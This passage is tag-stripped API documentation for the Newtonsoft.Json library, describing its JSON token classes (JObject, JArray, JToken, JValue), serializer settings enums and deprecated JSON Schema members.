extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Represents a JSON property. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + The new value. + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. + When the or + + methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + The hash code for the name of the member. + + + + + Represents a raw JSON string. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + 